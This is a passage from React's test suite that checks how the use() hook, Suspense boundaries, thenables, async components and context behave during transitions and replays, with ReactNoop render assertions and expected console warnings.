which throws an error.\n      'Caught an error: Oops!',\n\n      // During the sync error recovery pass, the component suspends, because\n      // we were unable to unwrap the value of the promise.\n      'Suspend! [Async]',\n      'Loading...',\n\n      // Because the error recovery attempt suspended, React can't tell if the\n      // error was actually fixed, or it was masked by the suspended data.\n      // In this case, it wasn't actually fixed, so if we were to commit the\n      // suspended fallback, it would enter an endless error recovery loop.\n      //\n      // Instead, we disable error recovery for these lanes and start\n      // over again.\n\n      // This time, the error is thrown and we commit the result.\n      'Suspend! [Async]',\n      'Caught an error: Oops!',\n    ]);\n    expect(root).toMatchRenderedOutput('Caught an error: Oops!');\n  });\n\n  it('basic use(context)', async () => {\n    const ContextA = React.createContext('');\n    const ContextB = React.createContext('B');\n\n    function Sync() {\n      const text = use(ContextA) + use(ContextB);\n      return text;\n    }\n\n    function App() {\n      return (\n        <ContextA.Provider value=\"A\">\n          <Sync />\n        </ContextA.Provider>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(<App />);\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('AB');\n  });\n\n  it('interrupting while yielded should reset contexts', async () => {\n    let resolve;\n    const promise = new Promise(r => {\n      resolve = r;\n    });\n\n    const Context = React.createContext();\n\n    const lazy = React.lazy(() => {\n      return promise;\n    });\n\n    function ContextText() {\n      return <Text text={use(Context)} />;\n    }\n\n    function App({text}) {\n      return (\n        <div>\n          <Context.Provider value={text}>\n            {lazy}\n            <ContextText />\n          </Context.Provider>\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    startTransition(() => {\n      root.render(<App text=\"world\" />);\n    });\n    await waitForPaint([]);\n    expect(root).toMatchRenderedOutput(null);\n\n    await resolve({default: <Text key=\"hi\" text=\"Hello \" />});\n\n    // Higher priority update that interrupts the first render\n    ReactNoop.flushSync(() => {\n      root.render(<App text=\"world!\" />);\n    });\n\n    assertLog(['Hello ', 'world!']);\n\n    expect(root).toMatchRenderedOutput(<div>Hello world!</div>);\n  });\n\n  it('warns if use(promise) is wrapped with try/catch block', async () => {\n    function Async() {\n      try {\n        return <Text text={use(Promise.resolve('Async'))} />;\n      } catch (e) {\n        return <Text text=\"Fallback\" />;\n      }\n    }\n\n    spyOnDev(console, 'error').mockImplementation(() => {});\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Async />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n\n    if (__DEV__) {\n      expect(console.error).toHaveBeenCalledTimes(1);\n      expect(console.error.mock.calls[0][0]).toContain(\n        '`use` was called from inside a try/catch block. This is not ' +\n          'allowed and can lead to unexpected behavior. To handle errors ' +\n          'triggered by `use`, wrap your component in a error boundary.',\n      );\n      console.error.mockRestore();\n    }\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it('during a transition, can unwrap async operations even if nothing is cached', async () => {\n    function App() {\n      return <Text text={use(getAsyncText('Async'))} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Text text=\"(empty)\" />\n        </Suspense>,\n      );\n    });\n    assertLog(['(empty)']);\n    expect(root).toMatchRenderedOutput('(empty)');\n\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <App />\n          </Suspense>,\n        );\n      });\n    });\n    assertLog(['Async text requested [Async]']);\n    expect(root).toMatchRenderedOutput('(empty)');\n\n    await act(() => {\n      resolveTextRequests('Async');\n    });\n    assertLog(['Async text requested [Async]', 'Async']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '     in App (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('Async');\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it(\"does not prevent a Suspense fallback from showing if it's a new boundary, even during a transition\", async () => {\n    function App() {\n      return <Text text={use(getAsyncText('Async'))} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <App />\n          </Suspense>,\n        );\n      });\n    });\n    // Even though the initial render was a transition, it shows a fallback.\n    assertLog(['Async text requested [Async]', 'Loading...']);\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    // Resolve the original data\n    await act(() => {\n      resolveTextRequests('Async');\n    });\n    // During the retry, a fresh request is initiated. Now we must wait for this\n    // one to finish.\n    // TODO: This is awkward. Intuitively, you might expect for `act` to wait\n    // until the new request has finished loading. But if it's mock IO, as in\n    // this test, how would the developer be able to imperatively flush it if it\n    // wasn't initiated until the current `act` call? Can't think of a better\n    // strategy at the moment.\n    assertLog(['Async text requested [Async]']);\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    // Flush the second request.\n    await act(() => {\n      resolveTextRequests('Async');\n    });\n    // This time it finishes because it was during a retry.\n    assertLog(['Async text requested [Async]', 'Async']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '     in App (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('Async');\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it('when waiting for data to resolve, a fresh update will trigger a restart', async () => {\n    function App() {\n      return <Text text={use(getAsyncText('Will never resolve'))} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<Suspense fallback={<Text text=\"Loading...\" />} />);\n    });\n\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <App />\n          </Suspense>,\n        );\n      });\n    });\n    assertLog(['Async text requested [Will never resolve]']);\n\n    await act(() => {\n      root.render(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Text text=\"Something different\" />\n        </Suspense>,\n      );\n    });\n    assertLog(['Something different']);\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it('when waiting for data to resolve, an update on a different root does not cause work to be dropped', async () => {\n    const promise = getAsyncText('Hi');\n\n    function App() {\n      return <Text text={use(promise)} />;\n    }\n\n    const root1 = ReactNoop.createRoot();\n    assertLog(['Async text requested [Hi]']);\n\n    await act(() => {\n      root1.render(<Suspense fallback={<Text text=\"Loading...\" />} />);\n    });\n\n    // Start a transition on one root. It will suspend.\n    await act(() => {\n      startTransition(() => {\n        root1.render(\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <App />\n          </Suspense>,\n        );\n      });\n    });\n    assertLog([]);\n\n    // While we're waiting for the first root's data to resolve, a second\n    // root renders.\n    const root2 = ReactNoop.createRoot();\n    await act(() => {\n      root2.render('Do re mi');\n    });\n    expect(root2).toMatchRenderedOutput('Do re mi');\n\n    // Once the first root's data is ready, we should finish its transition.\n    await act(async () => {\n      await resolveTextRequests('Hi');\n    });\n    assertLog(['Hi']);\n    expect(root1).toMatchRenderedOutput('Hi');\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it('while suspended, hooks cannot be called (i.e. current dispatcher is unset correctly)', async () => {\n    function App() {\n      return <Text text={use(getAsyncText('Will never resolve'))} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<Suspense fallback={<Text text=\"Loading...\" />} />);\n    });\n\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <App />\n          </Suspense>,\n        );\n      });\n    });\n    assertLog(['Async text requested [Will never resolve]']);\n\n    // Calling a hook should error because we're oustide of a component.\n    expect(useState).toThrow(\n      'Invalid hook call. Hooks can only be called inside of the body of a ' +\n        'function component.',\n    );\n  });\n\n  it('unwraps thenable that fulfills synchronously without suspending', async () => {\n    function App() {\n      const thenable = {\n        then(resolve) {\n          // This thenable immediately resolves, synchronously, without waiting\n          // a microtask.\n          resolve('Hi');\n        },\n      };\n      try {\n        return <Text text={use(thenable)} />;\n      } catch {\n        throw new Error(\n          '`use` should not suspend because the thenable resolved synchronously.',\n        );\n      }\n    }\n    // Because the thenable resolves synchronously, we should be able to finish\n    // rendering synchronously, with no fallback.\n    const root = ReactNoop.createRoot();\n    ReactNoop.flushSync(() => {\n      root.render(<App />);\n    });\n    assertLog(['Hi']);\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  it('does not suspend indefinitely if an interleaved update was skipped', async () => {\n    function Child({childShouldSuspend}) {\n      return (\n        <Text\n          text={\n            childShouldSuspend\n              ? use(getAsyncText('Will never resolve'))\n              : 'Child'\n          }\n        />\n      );\n    }\n\n    let setChildShouldSuspend;\n    let setShowChild;\n    function Parent() {\n      const [showChild, _setShowChild] = useState(true);\n      setShowChild = _setShowChild;\n\n      const [childShouldSuspend, _setChildShouldSuspend] = useState(false);\n      setChildShouldSuspend = _setChildShouldSuspend;\n\n      Scheduler.log(\n        `childShouldSuspend: ${childShouldSuspend}, showChild: ${showChild}`,\n      );\n      return showChild ? (\n        <Child childShouldSuspend={childShouldSuspend} />\n      ) : (\n        <Text text=\"(empty)\" />\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<Parent />);\n    });\n    assertLog(['childShouldSuspend: false, showChild: true', 'Child']);\n    expect(root).toMatchRenderedOutput('Child');\n\n    await act(async () => {\n      // Perform an update that causes the app to suspend\n      startTransition(() => {\n        setChildShouldSuspend(true);\n      });\n      await waitFor(['childShouldSuspend: true, showChild: true']);\n      // While the update is in progress, schedule another update.\n      startTransition(() => {\n        setShowChild(false);\n      });\n    });\n    assertLog([\n      // Because the interleaved update is not higher priority than what we were\n      // already working on, it won't interrupt. The first update will continue,\n      // and will suspend.\n      'Async text requested [Will never resolve]',\n\n      // Instead of waiting for the promise to resolve, React notices there's\n      // another pending update that it hasn't tried yet. It will switch to\n      // rendering that instead.\n      //\n      // This time, the update hides the component that previous was suspending,\n      // so it finishes successfully.\n      'childShouldSuspend: false, showChild: false',\n      '(empty)',\n\n      // Finally, React attempts to render the first update again. It also\n      // finishes successfully, because it was rebased on top of the update that\n      // hid the suspended component.\n      // NOTE: These this render happened to not be entangled with the previous\n      // one. If they had been, this update would have been included in the\n      // previous render, and there wouldn't be an extra one here. This could\n      // change if we change our entanglement heurstics. Semantically, it\n      // shouldn't matter, though in general we try to work on transitions in\n      // parallel whenever possible. So even though in this particular case, the\n      // extra render is unnecessary, it's a nice property that it wasn't\n      // entangled with the other transition.\n      'childShouldSuspend: true, showChild: false',\n      '(empty)',\n    ]);\n    expect(root).toMatchRenderedOutput('(empty)');\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it('when replaying a suspended component, reuses the hooks computed during the previous attempt (Memo)', async () => {\n    function ExcitingText({text}) {\n      // This computes the uppercased version of some text. Pretend it's an\n      // expensive operation that we want to reuse.\n      const uppercaseText = useMemo(() => {\n        Scheduler.log('Compute uppercase: ' + text);\n        return text.toUpperCase();\n      }, [text]);\n\n      // This adds an exclamation point to the text. Pretend it's an async\n      // operation that is sent to a service for processing.\n      const exclamatoryText = use(getAsyncText(uppercaseText + '!'));\n\n      // This surrounds the text with sparkle emojis. The purpose in this test\n      // is to show that you can suspend in the middle of a sequence of hooks\n      // without breaking anything.\n      const sparklingText = useMemo(() => {\n        Scheduler.log('Add sparkles: ' + exclamatoryText);\n        return `✨ ${exclamatoryText} ✨`;\n      }, [exclamatoryText]);\n\n      return <Text text={sparklingText} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<ExcitingText text=\"Hello\" />);\n      });\n    });\n\n    // Suspends while we wait for the async service to respond.\n    assertLog(['Compute uppercase: Hello', 'Async text requested [HELLO!]']);\n    expect(root).toMatchRenderedOutput(null);\n\n    // The data is received.\n    await act(() => {\n      resolveTextRequests('HELLO!');\n    });\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in ExcitingText (at **)',\n    ]);\n\n    assertLog([\n      // We shouldn't run the uppercase computation again, because we can reuse\n      // the computation from the previous attempt.\n      // 'Compute uppercase: Hello',\n\n      'Async text requested [HELLO!]',\n      'Add sparkles: HELLO!',\n      '✨ HELLO! ✨',\n    ]);\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it('when replaying a suspended component, reuses the hooks computed during the previous attempt (State)', async () => {\n    let _setFruit;\n    let _setVegetable;\n    function Kitchen() {\n      const [fruit, setFruit] = useState('apple');\n      _setFruit = setFruit;\n      const usedFruit = use(getAsyncText(fruit));\n      const [vegetable, setVegetable] = useState('carrot');\n      _setVegetable = setVegetable;\n      return <Text text={usedFruit + ' ' + vegetable} />;\n    }\n\n    // Initial render.\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<Kitchen />);\n      });\n    });\n    assertLog(['Async text requested [apple]']);\n    expect(root).toMatchRenderedOutput(null);\n    await act(() => {\n      resolveTextRequests('apple');\n    });\n    assertLog(['Async text requested [apple]', 'apple carrot']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in Kitchen (at **)',\n    ]);\n\n    expect(root).toMatchRenderedOutput('apple carrot');\n\n    // Update the state variable after the use().\n    await act(() => {\n      startTransition(() => {\n        _setVegetable('dill');\n      });\n    });\n    assertLog(['Async text requested [apple]']);\n    expect(root).toMatchRenderedOutput('apple carrot');\n    await act(() => {\n      resolveTextRequests('apple');\n    });\n    assertLog(['Async text requested [apple]', 'apple dill']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in Kitchen (at **)',\n    ]);\n\n    expect(root).toMatchRenderedOutput('apple dill');\n\n    // Update the state variable before the use(). The second state is maintained.\n    await act(() => {\n      startTransition(() => {\n        _setFruit('banana');\n      });\n    });\n    assertLog(['Async text requested [banana]']);\n    expect(root).toMatchRenderedOutput('apple dill');\n    await act(() => {\n      resolveTextRequests('banana');\n    });\n    assertLog(['Async text requested [banana]', 'banana dill']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in Kitchen (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('banana dill');\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it('when replaying a suspended component, reuses the hooks computed during the previous attempt (DebugValue+State)', async () => {\n    // Make sure we don't get a Hook mismatch warning on updates if there were non-stateful Hooks before the use().\n    let _setLawyer;\n    function Lexicon() {\n      useDebugValue(123);\n      const avocado = use(getAsyncText('aguacate'));\n      const [lawyer, setLawyer] = useState('abogado');\n      _setLawyer = setLawyer;\n      return <Text text={avocado + ' ' + lawyer} />;\n    }\n\n    // Initial render.\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<Lexicon />);\n      });\n    });\n    assertLog(['Async text requested [aguacate]']);\n    expect(root).toMatchRenderedOutput(null);\n    await act(() => {\n      resolveTextRequests('aguacate');\n    });\n    assertLog(['Async text requested [aguacate]', 'aguacate abogado']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in Lexicon (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('aguacate abogado');\n\n    // Now update the state.\n    await act(() => {\n      startTransition(() => {\n        _setLawyer('avocat');\n      });\n    });\n    assertLog(['Async text requested [aguacate]']);\n    expect(root).toMatchRenderedOutput('aguacate abogado');\n    await act(() => {\n      resolveTextRequests('aguacate');\n    });\n    assertLog(['Async text requested [aguacate]', 'aguacate avocat']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in Lexicon (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('aguacate avocat');\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it(\n    'wrap an async function with useMemo to skip running the function ' +\n      'twice when loading new data',\n    async () => {\n      function App({text}) {\n        const promiseForText = useMemo(async () => getAsyncText(text), [text]);\n        const asyncText = use(promiseForText);\n        return <Text text={asyncText} />;\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        startTransition(() => {\n          root.render(<App text=\"Hello\" />);\n        });\n      });\n      assertLog(['Async text requested [Hello]']);\n      expect(root).toMatchRenderedOutput(null);\n\n      await act(() => {\n        resolveTextRequests('Hello');\n      });\n      assertLog([\n        // We shouldn't request async text again, because the async function\n        // was memoized\n        // 'Async text requested [Hello]'\n\n        'Hello',\n      ]);\n    },\n  );\n\n  it('load multiple nested Suspense boundaries', async () => {\n    const promiseA = getAsyncText('A');\n    const promiseB = getAsyncText('B');\n    const promiseC = getAsyncText('C');\n    assertLog([\n      'Async text requested [A]',\n      'Async text requested [B]',\n      'Async text requested [C]',\n    ]);\n\n    function AsyncText({promise}) {\n      return <Text text={use(promise)} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <Suspense fallback={<Text text=\"(Loading A...)\" />}>\n          <AsyncText promise={promiseA} />\n          <Suspense fallback={<Text text=\"(Loading B...)\" />}>\n            <AsyncText promise={promiseB} />\n            <Suspense fallback={<Text text=\"(Loading C...)\" />}>\n              <AsyncText promise={promiseC} />\n            </Suspense>\n          </Suspense>\n        </Suspense>,\n      );\n    });\n    assertLog([\n      '(Loading A...)',\n      // pre-warming\n      '(Loading C...)',\n      '(Loading B...)',\n    ]);\n    expect(root).toMatchRenderedOutput('(Loading A...)');\n\n    await act(() => {\n      resolveTextRequests('A');\n    });\n    assertLog(['A', '(Loading B...)']);\n    expect(root).toMatchRenderedOutput('A(Loading B...)');\n\n    await act(() => {\n      resolveTextRequests('B');\n    });\n    assertLog(['B', '(Loading C...)']);\n    expect(root).toMatchRenderedOutput('AB(Loading C...)');\n\n    await act(() => {\n      resolveTextRequests('C');\n    });\n    assertLog(['C']);\n    expect(root).toMatchRenderedOutput('ABC');\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it('load multiple nested Suspense boundaries (uncached requests)', async () => {\n    // This the same as the previous test, except the requests are not cached.\n    // The tree should still eventually resolve, despite the\n    // duplicate requests.\n    function AsyncText({text}) {\n      // This initiates a new request on each render.\n      return <Text text={use(getAsyncText(text))} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <Suspense fallback={<Text text=\"(Loading A...)\" />}>\n          <AsyncText text=\"A\" />\n          <Suspense fallback={<Text text=\"(Loading B...)\" />}>\n            <AsyncText text=\"B\" />\n            <Suspense fallback={<Text text=\"(Loading C...)\" />}>\n              <AsyncText text=\"C\" />\n            </Suspense>\n          </Suspense>\n        </Suspense>,\n      );\n    });\n    assertLog(['Async text requested [A]', '(Loading A...)']);\n    expect(root).toMatchRenderedOutput('(Loading A...)');\n\n    await act(() => {\n      resolveTextRequests('A');\n    });\n    assertLog(['Async text requested [A]']);\n    expect(root).toMatchRenderedOutput('(Loading A...)');\n\n    await act(() => {\n      resolveTextRequests('A');\n    });\n    assertLog([\n      // React suspends until A finishes loading.\n      'Async text requested [A]',\n      'A',\n\n      // Now React can continue rendering the rest of the tree.\n\n      // React does not suspend on the inner requests, because that would\n      // block A from appearing. Instead it shows a fallback.\n      'Async text requested [B]',\n      '(Loading B...)',\n    ]);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in AsyncText (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('A(Loading B...)');\n\n    await act(() => {\n      resolveTextRequests('B');\n    });\n    assertLog(['Async text requested [B]']);\n    expect(root).toMatchRenderedOutput('A(Loading B...)');\n\n    await act(() => {\n      resolveTextRequests('B');\n    });\n    assertLog([\n      // React suspends until B finishes loading.\n      'Async text requested [B]',\n      'B',\n\n      // React does not suspend on C, because that would block B from appearing.\n      'Async text requested [C]',\n      '(Loading C...)',\n    ]);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in AsyncText (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('AB(Loading C...)');\n\n    await act(() => {\n      resolveTextRequests('C');\n    });\n    assertLog(['Async text requested [C]']);\n    expect(root).toMatchRenderedOutput('AB(Loading C...)');\n\n    await act(() => {\n      resolveTextRequests('C');\n    });\n    assertLog(['Async text requested [C]', 'C']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in AsyncText (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('ABC');\n  });\n\n  it('use() combined with render phase updates', async () => {\n    function Async() {\n      const a = use(Promise.resolve('A'));\n      const [count, setCount] = useState(0);\n      if (count === 0) {\n        setCount(1);\n      }\n      const usedCount = use(Promise.resolve(count));\n      return <Text text={a + usedCount} />;\n    }\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Async />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertLog(['A1']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('A1');\n  });\n\n  it('basic promise as child', async () => {\n    const promise = Promise.resolve(<Text text=\"Hi\" />);\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(promise);\n      });\n    });\n    assertLog(['Hi']);\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it('basic async component', async () => {\n    async function App() {\n      await getAsyncText('Hi');\n      return <Text text=\"Hi\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertLog(['Async text requested [Hi]']);\n    assertConsoleErrorDev([\n      '<App> is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        \"This error is often caused by accidentally adding `'use client'` \" +\n        'to a module that was originally written for the server.\\n' +\n        '    in App (at **)',\n    ]);\n    await act(() => resolveTextRequests('Hi'));\n    assertLog([\n      // TODO: We shouldn't have to replay the function body again. Skip\n      // straight to reconciliation.\n      'Async text requested [Hi]',\n      'Hi',\n    ]);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  // @gate enableSuspendingDuringWorkLoop\n  it('async child of a non-function component (e.g. a class)', async () => {\n    class App extends React.Component {\n      async render() {\n        const text = await getAsyncText('Hi');\n        return <Text text={text} />;\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertLog(['Async text requested [Hi]']);\n\n    await act(async () => resolveTextRequests('Hi'));\n    assertLog([\n      // TODO: We shouldn't have to replay the render function again. We could\n      // skip straight to reconciliation. However, it's not as urgent to fix\n      // this for fiber types that aren't function components, so we can special\n      // case those in the meantime.\n      'Async text requested [Hi]',\n      'Hi',\n    ]);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  it('async children are recursively unwrapped', async () => {\n    // This is a Usable of a Usable. `use` would only unwrap a single level, but\n    // when passed as a child, the reconciler recurisvely unwraps until it\n    // resolves to a non-Usable value.\n    const thenable = {\n      then() {},\n      status: 'fulfilled',\n      value: {\n        then() {},\n        status: 'fulfilled',\n        value: <Text text=\"Hi\" />,\n      },\n    };\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(thenable);\n    });\n    assertLog(['Hi']);\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  it('async children are transparently unwrapped before being reconciled (top level)', async () => {\n    function Child({text}) {\n      useEffect(() => {\n        Scheduler.log(`Mount: ${text}`);\n      }, [text]);\n      return <Text text={text} />;\n    }\n\n    async function App({text}) {\n      // The child returned by this component is always a promise (async\n      // functions always return promises). React should unwrap it and reconcile\n      // the result, not the promise itself.\n      return <Child text={text} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App text=\"A\" />);\n      });\n    });\n    assertLog(['A', 'Mount: A']);\n    assertConsoleErrorDev([\n      '<App> is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        \"This error is often caused by accidentally adding `'use client'` \" +\n        'to a module that was originally written for the server.\\n' +\n        '    in App (at **)',\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('A');\n\n    // Update the child's props. It should not remount.\n    await act(() => {\n      startTransition(() => {\n        root.render(<App text=\"B\" />);\n      });\n    });\n    assertLog(['B', 'Mount: B']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('B');\n  });\n\n  it('async children are transparently unwrapped before being reconciled (siblings)', async () => {\n    function Child({text}) {\n      useEffect(() => {\n        Scheduler.log(`Mount: ${text}`);\n      }, [text]);\n      return <Text text={text} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(() => {\n        root.render(\n          <>\n            {Promise.resolve(<Child text=\"A\" />)}\n            {Promise.resolve(<Child text=\"B\" />)}\n            {Promise.resolve(<Child text=\"C\" />)}\n          </>,\n        );\n      });\n    });\n    assertLog(['A', 'B', 'C', 'Mount: A', 'Mount: B', 'Mount: C']);\n    expect(root).toMatchRenderedOutput('ABC');\n\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <>\n            {Promise.resolve(<Child text=\"A\" />)}\n            {Promise.resolve(<Child text=\"B\" />)}\n            {Promise.resolve(<Child text=\"C\" />)}\n          </>,\n        );\n      });\n    });\n    // Nothing should have remounted\n    assertLog(['A', 'B', 'C']);\n    expect(root).toMatchRenderedOutput('ABC');\n  });\n\n  it('async children are transparently unwrapped before being reconciled (siblings, reordered)', async () => {\n    function Child({text}) {\n      useEffect(() => {\n        Scheduler.log(`Mount: ${text}`);\n      }, [text]);\n      return <Text text={text} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <>\n            {Promise.resolve(<Child key=\"A\" text=\"A\" />)}\n            {Promise.resolve(<Child key=\"B\" text=\"B\" />)}\n            {Promise.resolve(<Child key=\"C\" text=\"C\" />)}\n          </>,\n        );\n      });\n    });\n    assertLog(['A', 'B', 'C', 'Mount: A', 'Mount: B', 'Mount: C']);\n    expect(root).toMatchRenderedOutput('ABC');\n\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <>\n            {Promise.resolve(<Child key=\"B\" text=\"B\" />)}\n            {Promise.resolve(<Child key=\"A\" text=\"A\" />)}\n            {Promise.resolve(<Child key=\"C\" text=\"C\" />)}\n          </>,\n        );\n      });\n    });\n    // Nothing should have remounted\n    assertLog(['B', 'A', 'C']);\n    expect(root).toMatchRenderedOutput('BAC');\n  });\n\n  it('basic Context as node', async () => {\n    const Context = React.createContext(null);\n\n    function Indirection({children}) {\n      Scheduler.log('Indirection');\n      return children;\n    }\n\n    function ParentOfContextNode() {\n      Scheduler.log('ParentOfContextNode');\n      return Context;\n    }\n\n    function Child({text}) {\n      useEffect(() => {\n        Scheduler.log('Mount');\n        return () => {\n          Scheduler.log('Unmount');\n        };\n      }, []);\n      return <Text text={text} />;\n    }\n\n    function App({contextValue, children}) {\n      const memoizedChildren = useMemo(\n        () => (\n          <Indirection>\n            <ParentOfContextNode />\n          </Indirection>\n        ),\n        [children],\n      );\n      return (\n        <Context.Provider value={contextValue}>\n          {memoizedChildren}\n        </Context.Provider>\n      );\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App contextValue={<Child text=\"A\" />} />);\n    });\n    assertLog(['Indirection', 'ParentOfContextNode', 'A', 'Mount']);\n    expect(root).toMatchRenderedOutput('A');\n\n    // Update the child to a new value\n    